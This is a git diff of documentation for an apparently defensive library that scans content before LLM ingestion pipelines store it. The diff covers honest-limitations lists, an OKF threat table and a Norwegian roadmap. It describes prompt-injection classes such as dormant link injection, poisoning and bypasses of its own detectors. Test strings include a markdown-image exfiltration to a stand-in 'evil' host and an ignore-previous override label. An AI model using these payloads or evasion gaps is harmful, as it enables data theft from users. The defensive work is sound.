manual-import of a -foreign file, an auto-fetch of web/vendor content, or a received third-party OKF -bundle. Trust follows the data's **origin**, not the insertion channel — a manual -paste of external material is still external. - -**When in your roadmap.** It is a persist-gate, so include it *before the first -untrusted ingest path goes live*, wired at the point where enriched content is -committed. If today you only have first-party ingest, note the guard as a -dependency to add when (not if) you open an external/inbox/received-bundle path. - -## 8. Honest limitations (read these — a green scan is not "safe") - -Conceding these is itself a control. The full list is in the guard's `README.md` -("Honest limitations"); the ones that matter most for a wiki/second-brain: - -- **Semantic / factual poisoning is invisible** to lexicon + entropy: a - plausible-but-wrong concept (wrong join-path, wrong metric, wrong runbook step) - carries no suspicious token and passes clean. **Highest impact for a wiki.** - Needs human review or source verification — the deterministic core does not judge - semantics; a `[judge]` implementation plugs into the `grounding` seam. -- **Dormant / broken-link injection**: a link to a not-yet-existing target passes a - per-concept write-time scan; the payload is planted later when that target is - written. `link_graph` surfaces the *dangling* edge as the signal, but whether to - block is your disposition call, and cross-write re-scan over time is your - responsibility. -- **A document that *describes* attacks is a false positive.** Security notes that - legitimately document injection payloads trip carrier-strip / fail-secure. At the - text layer "about an attack" is indistinguishable from "carrying an attack" — such - content needs a deliberate, explicitly-marked escaped path, never a silent allow. -- **Structural unsolvability at the text layer.** Pattern/lexicon detection is - bypassable in isolation; novel phrasings and character-injection evade it. The - *contract* (tool-less transform, capability isolation, fail-secure) carries the - security — the lexicon is defense-in-depth, not a wall. -- **Text-only, extracted-text-only.** No file parsing in the core; what survives - text extraction (macros, OLE objects, OCR-embedded instructions, render/font - stego, encrypted files) is out of scope beyond the sanitizer's character layer. -- **Secret egress: base64-wrapped is caught, hex-wrapped is not** (a documented - boundary — decode the transport layer first if you need it scanned). - -## 9. Where to read more (in the guard repo) - -- `README.md` — usage, the full contract, and the complete honest-limitations list. -- `docs/BRIEF.md` — design rationale and the nearest-neighbour survey (§11). -- `docs/OKF-INGESTION-BRIEF.md` — the OKF threat-surface analysis (frontmatter, - `resource`, cross-link graph, reserved names, provenance) the adapter implements. -- `python -m llm_ingestion_guard.coverage` — the runnable "verify what it stops". - -Threat-model anchors: OWASP LLM Top-10 2025 (LLM01/02/04/05/06 strongest, LLM08 -boundary), PoisonedRAG, guardrail-evasion (arXiv 2504.11168), EchoLeak -(CVE-2025-32711). OKF: Google Cloud Open Knowledge Format v0.1 (announced -2026-06-12) — `GoogleCloudPlatform/knowledge-catalog/okf/SPEC.md`. diff --git a/docs/BRIEF.md b/docs/BRIEF.md index 47bd0d0..b37c413 100644 --- a/docs/BRIEF.md +++ b/docs/BRIEF.md @@ -3,9 +3,8 @@ **A reusable, minimal, dependency-light defensive layer for LLM *ingestion* pipelines — the write-time siblings of query-time chatbot guardrails.** -Status: implemented — v0.2 (alpha). This document defines what the repo contains -and why; the stdlib-only core is built and tested (see `README.md` for usage and -`docs/PLAN.md` for the build order). +Status: brief / pre-implementation. This document defines what the repo should +contain and why. No code yet. --- @@ -236,47 +235,10 @@ are grounded: - *LlamaFirewall as an open-source guardrail reference* — arXiv 2505.03574. - https://arxiv.org/pdf/2505.03574 -**Novelty claim — verified (focused, adversarial PyPI + GitHub survey, 2026-07-15).** -The claim was re-checked by searching for the library that would *disprove* it, not -confirm it. It survives, but only in the **composite-contract** form below — never as -an absolute "the only" / "the first" claim. Characterizations are from PyPI metadata, -project READMEs, and author write-ups, not a line-by-line code audit. - -- **`aig-guardian`** — PyPI v2.0.0, Apache-2.0, real repo (`killertcell428/ai-guardian`), - actively developed. Shares this library's *packaging philosophy* (zero-dep core + - `[fastapi]/[langchain]/[openai]` extras). Does **not** disprove the contract: it is - **query-time** middleware (`check_input`/`check_output`/`check_context`; its RAG - feature scans retrieved chunks as they enter the prompt), with no write-time - quarantine → scan-before-persist → fail-secure ingestion stage. Blurs the - "minimal-dep library" differentiator, not the contract. - - https://pypi.org/project/aig-guardian/ -- **`GuardLLM`** — PyPI/GitHub v1.1.0, MIT, minimal-dep (only hard dep - `beautifulsoup4`). The nearest neighbour. Hardens *untrusted content at runtime* - (wraps inbound web/tool/MCP/email content before the LLM reads it; provenance + - outbound DLP). Does **not** package the write-time contract: no scan-before-persist - stage, no per-stage *capability* isolation, no named fail-secure disposition. - - https://github.com/mhcoen/guardllm -- **`ipi-scanner`** — PyPI v0.1.0, *ingestion-time* single-stage detector on paper, - but an **orphaned placeholder**: its metadata points at the literal template repo - `github.com/username/ipi-scanner` (404) and the license field is empty. Recorded for - honesty, not as prior art — unconfirmable, and even at face value a verdict-only - detector, not the contract. - - https://pypi.org/project/ipi-scanner/ -- **Query-time incumbents** (LLM Guard, NeMo Guardrails, Guardrails AI, Rebuff, Vigil, - LlamaFirewall, Resk-LLM) — all sit between a user and a model at query time; none - address the write-time ingestion path (tracked in the rows above). - -**Surviving, defensible form (this is what the README may claim):** existing OSS -tools are either single-stage *detectors* (emit a risk verdict, leave quarantine, -capability isolation, scan-before-persist, and fail-secure disposition to the -integrator) or runtime content-hardening; **no library packages the full four-part -*write-time ingestion* contract (quarantine → per-stage capability isolation → -scan-before-persist → fail-secure disposition) as composable minimal-dependency -code.** The nearest neighbour, GuardLLM, hardens content at runtime but has no -persist stage. Scoped, not absolute — and re-runnable: repeat the survey (search -"RAG ingestion security", "write-time / ingestion-time prompt injection", "ingest -guard") and confirm no new candidate covers all four parts together before making -the claim again. +Marked **assumed, not verified**: the specific claim that no existing *library* +packages the full write-time contract as minimal-dependency code. The search +found no such library, but absence of evidence is not proof; a focused survey of +PyPI + GitHub topics should confirm before the README makes a novelty claim. ## 12. Reference implementation and target consumers diff --git a/docs/LIMITATIONS.md b/docs/LIMITATIONS.md deleted file mode 100644 index c49919c..0000000 --- a/docs/LIMITATIONS.md +++ /dev/null @@ -1,90 +0,0 @@ -# Honest limitations - -Conceding these plainly is itself a control — it prevents the false assurance that -a green scan means safe content. The README carries a summary of the highest-impact -items; this is the full list, each with the mechanism. - -- **Structural unsolvability at the text layer.** Pattern/lexicon detection is - bypassable in isolation; character-injection and novel phrasings evade it. The - *contract* (tool-less transform, capability isolation, fail-secure) carries the - security — the lexicon is defense-in-depth, not a wall. -- **A lone HIGH finding in trusted prose disposes to WARN, not quarantine.** - Under `PRESET_TRUSTED_SOURCE`, trust-scaling downgrades a single HIGH to WARN, - and one HIGH is not "compound" (escalation needs ≥2 findings at MEDIUM+). So a - HIGH injection reproduced verbatim under a *trusted* policy persists with a WARN. - This is by design: if your "trusted" sources can carry attacker-influenced text, - run them as untrusted (or add a quarantine floor). -- **The upload preset's quarantine floor is currently vacuous.** - `PRESET_USER_UPLOAD` sets `quarantine_default`, but detectors emit - CRITICAL/HIGH/MEDIUM only, and under untrusted trust a MEDIUM already escalates to - QUARANTINE_REVIEW — so the floor changes no outcome today. It is headroom for a - future LOW/INFO finding, documented so the preset is not over-read. -- **Semantic / factual poisoning is invisible** to lexicon + entropy: a false claim - in clean prose carries no suspicious token. **Highest impact for a wiki.** The - `grounding` module ships only a `SourceGroundingCheck` *seam* — the deterministic - core does not judge semantics; a `[judge]` implementation must be plugged in. -- **Adversarial-ML evasion** can survive normalization; **tokenizer mismatch** - between scanner and model leaves gaps. **Latent / dormant memory poisoning** is - not judgeable at write time. -- **Dormant / broken-link injection** in a linked corpus (e.g. an OKF bundle): a - link to a not-yet-existing target passes a per-concept write-time scan clean — the - payload is planted later, when that target is written. `link_graph` surfaces the - *dangling* edge as the signal, but catching the payload needs cross-write re-scan - over time (the caller's disposition call). -- **OKF reserved files (`index.md` / `log.md`).** In a *received* bundle these are - legitimate structure, so mode-b `import_bundle` scans their body and frontmatter - (an injection in a directory listing is caught) rather than path-rejecting the - conformant bundle. A front-end materialising individual uploads keeps the opposite - rule (`allow_reserved=False`): a reserved basename is a listing-shadow and refused. -- **A document that *describes* attacks is a false positive.** Content documenting - prompt-injection payloads (security notes, this project's own corpus) trips - carrier-strip / fail-secure. At the text layer "*about* an attack" and "*carrying* - an attack" are indistinguishable; such content needs a deliberate, explicitly - escaped path, never a silent allow. -- **Bilingual text trips the Cyrillic/Latin homoglyph rule.** - `homoglyph:cyrillic-latin-mix` (MEDIUM) flags a Latin letter adjacent to a - Cyrillic look-alike, so genuine bilingual prose → MEDIUM → under untrusted → - QUARANTINE_REVIEW — a real false positive for an inbox that expects multilingual - content. A calibration fix is pending. -- **Insider in-place edits** by a trusted author are out of the untrusted-content - threat model. -- **Text-only.** The core is `text -> findings`: it parses no files (no - `pypdf`/`python-docx`/archive deps). Extract text first, then scan it with the - high-untrust upload provenance. OCR-embedded instructions and multimodal stego are - out of scope beyond the sanitizer's character-layer stripping. -- **Uploaded files: only the *extracted text* is scanned.** The dev-scoped OKF - inbox showcase (`tests/test_okf_inbox_uploads.py` + `tests/inbox_frontend.py`; - parsers in the `[dev]` extra, never core `dependencies`) reads - `.txt`/`.md`/`.csv`/`.docx`/`.pptx`/`.xlsx`, folders and `.zip`, materializes an - OKF bundle, then guards it. What survives extraction is **out of scope**: - macros, OLE/embedded objects, OCR-needing images, font/render stego, encrypted - files — the binary layer needs a separate scanner. The front-end owns the - container threats it *can* see (zip-slip → path gate, zip-bomb → size cap, symlink - refusal, CSV/XLSX formula-lead cells). **`.pdf` is a deliberate concession:** a - top-level `.pdf` is *refused as unsupported* rather than half-scanned (a PDF parser - is disproportionate for a dev showcase, and the OCR/stego it would smuggle is - already out of scope). One known gap: the numeric `-`/`+` CSV false positive (a - typed XLSX numeric cell does not trip it). -- **Lexicon findings are deduplicated by pattern id** — `count=1` and the first - offset are reported, so a class matched across several channels collapses to one - finding at its first location: a deliberate readability tradeoff. -- **Secret egress: base64-wrapped is caught, hex-wrapped is not.** The output gate - decodes base64 blobs and re-scans the plaintext, so a base64-*wrapped* secret - surfaces as `decoded:egress:*`. `entropy` exposes decoded plaintext for base64 - only, so hex (and other encodings, or nested wraps) is a deliberate boundary — - decode the transport layer first if you need it scanned. - -## The four documented gaps (tracked by the coverage matrix) - -These are asserted to *still hold* by `tests/test_coverage_matrix.py` — a closed gap -fails the test, forcing this doc to be updated: - -1. **Hex-wrapped secret egress** — `entropy` decodes base64 only (above). -2. **Semantic / factual poisoning** — invisible to token analysis (above). -3. **A lone HIGH in trusted prose → WARN** — the §4.7 trust-scaling design (above). -4. **Lexicon dedup (`count=1`)** — first offset only, by design (above). - -## Out-of-scope (documented boundary) - -Embedding/vector-layer defenses (OWASP LLM08, downstream of persist); multimodal -steganography; query-time / runtime guardrails; semantic factuality verification. diff --git a/docs/OKF-INGESTION-BRIEF.md b/docs/OKF-INGESTION-BRIEF.md index 7a6128e..4c67695 100644 --- a/docs/OKF-INGESTION-BRIEF.md +++ b/docs/OKF-INGESTION-BRIEF.md @@ -57,7 +57,7 @@ Status column verified against the code at commit `5397ba1` on 2026-07-06 (§9). | **Markdown body** | Prompt injection, hidden carriers (zero-width, BIDI, Unicode-tag, HTML comments, `data:` URIs) | Carrier-strip → fence → tool-less transform → output scan → fail-secure | ✅ Covered (core contract) | | **YAML frontmatter** | Injection in `title`/`description`/`tags` + arbitrary unknown keys; `description` propagates into `index.md` (read **first** under progressive disclosure); YAML anchor/alias DoS + dangerous type coercion | Same sanitize/scan on frontmatter *values*; parse YAML with a safe loader | ⚠️ **Partial** — values are scanned **iff** the caller passes the whole document (frontmatter included) as text; the core **never parses YAML**, so the safe-loader is a genuinely new gate at an OKF-adapter boundary (§9) | | **`resource` URL** | `data:`/`javascript:`/`file:`/SSRF target that a consumer or visualizer fetches | Scheme allowlist (`https` only), validate before commit | ❌ **New control** — `neutralize` defangs schemes for human audit but there is **no reject-gate** and no `resource`-field concept (§9) | -| **Cross-link graph** | "Dead links are valid" → *dormant* injection: plant a link to a non-existent concept-ID now, write the poisoned target later | Resolve in-bundle `.md` links to concept-IDs; flag dangling links (the dormant-injection signal); reject dangerous-scheme / bundle-escaping targets. Absolute external `https` URLs and `references/` paths are spec-permitted link targets, not rejected. Re-scan on write of a link target | ❌ **New control** (graph level) | +| **Cross-link graph** | "Dead links are valid" → *dormant* injection: plant a link to a non-existent concept-ID now, write the poisoned target later | Constrain link targets to relative in-bundle paths + scheme check; re-scan on write of a link target | ❌ **New control** (graph level) | | **File path / reserved names** | Concept-ID = file path minus `.md`; path traversal (`../`) and shadowing of reserved `index.md`/`log.md` | Sanitize/normalize paths; reject `..` and reserved filenames as concept names | ❌ **New control** — no path validation in the core (§9) | | **`log.md` / provenance** | No authenticity at the format level | Stamp disposition + trust tier per concept | ↔️ **Machinery exists** — `Trust` × `Provenance` × `Disposition` types are built; emission-to-`log.md` + an origin/channel stamp is new wiring on top (§9) | diff --git a/docs/PLAN-v1.md b/docs/PLAN-v1.md deleted file mode 100644 index 463a4cc..0000000 --- a/docs/PLAN-v1.md +++ /dev/null @@ -1,338 +0,0 @@ -# Re-planlagt roadmap — v1.0 (Python) + Node/TS-port - -**Forfattet:** Fable 5, 2026-07-09 (kryssmodell-review, `docs/review-2026-07.md`); -**promotert til live sesjonsplan** 2026-07-10. Sporet docs-fil; hjem = Forgejo `open/` -(eneste sanksjonerte offentlige flate, aldri GitHub). Utfyller `docs/PLAN.md` -(høynivå byggeplan) med detaljerte, Opus-eksekverbare sesjon-specer. - -**Mållinje (bindende):** (a) en shippet, klasseledende **v1.0 av Python-biblioteket** -(lukk review-funn + format/kvalitets-gaps, konsolider terskler, verifiser -novelty-claimet, docs, versjons-sync + publish), OG (b) en **Node/TS-port** over den -delte JSON-lexicon. Node-porten starter FØRST når Python-v1.0-surfacen er frosset og -scan-ren (Session G). Stream 4 (pre-adaptasjons-scan) og consumer-integrasjon hører -til «Ambisiøse utvidelser» (review Del 1), ikke v1.0-sekvensen. - -**Endringer mot låst roadmap (STATE «re-sekvensert 2026-07-06»):** steg 2 «modne -guarden» utvides med review-injiserte fiks-sesjoner (A/B/C/D/E) FØR release (G). -`.pdf` (steg 2i) blir en eksplisitt operatør-beslutning (Session F) med anbefaling -om **konsesjon**. Node-porten (gammelt steg 3) splittes i P0-P7 med en delt -parity-fixture som ryggrad. - -**Format per sesjon:** Mål · Scope-grense · Avhengigheter · Filer · TDD-plan · -Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid: -`PYTHONPATH=src .venv/bin/pytest …`. Én sesjon ≈ «Les STATE.md og følg instruksen». - ---- - -## TRACK 1 — Python v1.0 - -### Session A — Aktivt-innhold-detektor wiret inn i gaten *(injisert av review MAJOR #1)* - -- **Mål:** `screen_output` og `okf.import_bundle` skal surface EchoLeak-klassen - (markdown-bilde/lenke/refdef/autolink/aktiv-HTML) som findings som mater - `disposition` — uten å bryte report/mutasjon-separasjonen. -- **Scope-grense:** rører IKKE lexicon/entropy/secret-logikk, contract, fence, - sanitize. Ingen ny runtime-dep (stdlib-only). `neutralize`s *muterende* API - beholdes uendret (bakoverkompatibelt). -- **Avhengigheter:** ingen (kan starte først). -- **Filer:** nytt `src/llm_ingestion_guard/active_content.py` (report-only - `scan_active_content(text, source) -> Report`, OWASP LLM05); refaktor - `neutralize.py` til å dele regex-tabellen; edit `output.py` (`scan_output` steg 6: - kall `scan_active_content`); edit `__init__.py` (eksporter `scan_active_content`); - edit `tests/test_showcase.py` + `tests/test_okf_showcase.py` (plant EchoLeak-vektor); - ny `tests/test_active_content.py`. -- **TDD-plan (failing FØRST):** - 1. `test_active_content.py::test_markdown_image_is_reported` — `scan_active_content("![x](https://evil/leak?d=1)")` inneholder label `active:markdown-image`, severity HIGH. (Rødt: modulen finnes ikke.) - 2. `test_screen_output_reports_echoleak` — `screen_output("![x](https://evil/leak)", PRESET_USER_UPLOAD).disposition` er QUARANTINE_REVIEW+ (ikke WARN). - 3. `test_okf_import_flags_body_echoleak` — bundle med markdown-bilde i body → aggregat ≠ WARN. - 4. Minimal impl: del regexene, report-only pass, wire i `scan_output`. - 5. Regresjon: hele suiten grønn (neutralize-tester uendret). -- **Nøkkelantakelser (+ test):** - - *«neutralize og den nye detektoren kan dele samme regex-tabell uten - atferdsendring i neutralize.»* Test: eksisterende `tests/test_neutralize.py` - passerer uendret etter refaktor. - - *«severity-valget (HIGH for bilde) gir ønsket disposition under begge preset.»* - Test: assertion 2/3 over. Risiko hvis feil: for lav severity → fortsatt WARN; - testes eksplisitt. -- **Verifisering:** - - `PYTHONPATH=src .venv/bin/pytest tests/test_active_content.py tests/test_showcase.py tests/test_okf_showcase.py` → alle grønne. - - `PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import screen_output, PRESET_USER_UPLOAD, Disposition; d=screen_output('![x](https://evil/leak?d=1)', PRESET_USER_UPLOAD); assert d.disposition is not Disposition.WARN, d"` → exit 0. - - `python -c "import tomllib,pathlib; assert tomllib.loads(pathlib.Path('pyproject.toml').read_text())['project']['dependencies']==[]"` → exit 0 (kjerne-invariant intakt). - -### Session A2 — OKF reservert-fil-håndtering (`index.md`/`log.md`) *(injisert av review MAJOR #2)* - -- **Mål:** `import_bundle` skal behandle legitime reserverte strukturfiler - (`index.md`/`log.md`, spec §3.1/§6/§7) som *skann-body-men-ikke-path-rejekt*, ikke - hard-avvise dem — og faktisk skanne `index.md`-bodyen (lest først, høyest-prioritert - injeksjonsflate). Behold shadow-rejektet i upload/front-end-konteksten. -- **Scope-grense:** rører IKKE `validate_concept_path`s oppførsel i *upload*-konteksten - (front-end shadow-reject beholdes). Ingen endring i T1/T2/T3-gatene. Kun mode-b - bundle-import-grenen. -- **Avhengigheter:** ingen kode-avhengighet av A; men bør landes FØR G (frys). Kan - parallelliseres med A/B/C. -- **Filer:** edit `src/llm_ingestion_guard/okf.py` (`_validate_concept`/`import_bundle`: - reservert-basenavn → skann-gren i stedet for path-reject; `link_graph` uendret); - edit `tests/test_okf.py` + `tests/test_okf_showcase.py` (nytt: legitimt bundle med - `index.md`/`log.md` ADMITer; injeksjon i `index.md` FANGES; shadow-upload i front-end - REJECTer fortsatt). -- **TDD-plan (failing FØRST):** - 1. `test_okf.py::test_legit_index_and_log_admit` — bundle {index.md, log.md, - tables/users.md} (rene) → aggregat WARN, ingen `error` på index/log. (Rødt i dag: - FAIL_SECURE, verifisert i review-proben.) - 2. `test_okf.py::test_injection_in_index_body_is_caught` — injeksjon i `index.md`-body - → concept-report har `override:ignore-previous`. (Rødt i dag: findings=[].) - 3. `test_okf_inbox_uploads.py::test_reserved_name_upload_is_rejected` — MÅ fortsatt - REJECTe (front-end shadow-reject bevart). - 4. Minimal impl: skill reservert-basenavn i bundle-import (skann-body) fra - upload-materialisering (shadow-reject). -- **Nøkkelantakelser (+ test):** - - *«index.md/log.md kan skannes som tekst uten path-reject uten å svekke - shadow-vernet i upload-konteksten.»* Test: assertion 1-3 samlet — legit bundle - admits, index-injeksjon fanges, upload-shadow rejects. - - *Risiko:* `okf_version`-frontmatter er tillatt KUN i bundle-root `index.md` - (spec). Hvis body-skann kjører `parse_frontmatter` på en index.md kan strict-gaten - tripp. Test: `test_index_with_okf_version_frontmatter_admits` — skann index.md-body, - ikke reject på lovlig `okf_version`. -- **Verifisering:** - - `PYTHONPATH=src .venv/bin/pytest tests/test_okf.py tests/test_okf_showcase.py tests/test_okf_inbox_uploads.py` → alle grønne. - - `PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import okf; r=okf.import_bundle({'index.md':'---\nokf_version: 0.1\n---\n# Listing\n','tables/users.md':'---\ntype: t\n---\nclean\n'}); assert r.disposition.value=='warn', [ (c.path,c.disposition.value,c.error) for c in r.concepts ]"` → exit 0. - -### Session B — base64-innpakket secret-egress *(injisert av review MINOR)* - -- **Mål:** decode-and-rescan skal også kjøre `scan_secret_egress` over dekodet - base64-plaintext, så en base64-innpakket credential fanges av LLM02-gaten. -- **Scope-grense:** kun `output.py` decode-rescan-løkken (steg 3). Ingen endring i - entropy-klassifisering, lexicon, eller egress-mønstrene selv. -- **Avhengigheter:** ingen (uavhengig av A; kan parallelliseres). -- **Filer:** edit `src/llm_ingestion_guard/output.py` (steg 3: legg til - `scan_secret_egress(blob.decoded)` med `decoded:egress:*`-relabel); edit - `tests/test_output.py`; edit README honest-limits (restgap: hex-innpakket). -- **TDD-plan:** - 1. `test_output.py::test_base64_wrapped_secret_is_caught` — output med - base64(AWS-nøkkel, fragment-bygget gitleaks-safe) → finding-label - `decoded:egress:aws-access-key-id`. (Rødt i dag — Probe 3 bekreftet [].) - 2. Minimal impl: i decode-rescan-løkken, kjør også `scan_secret_egress` på - `blob.decoded`, relabel `decoded: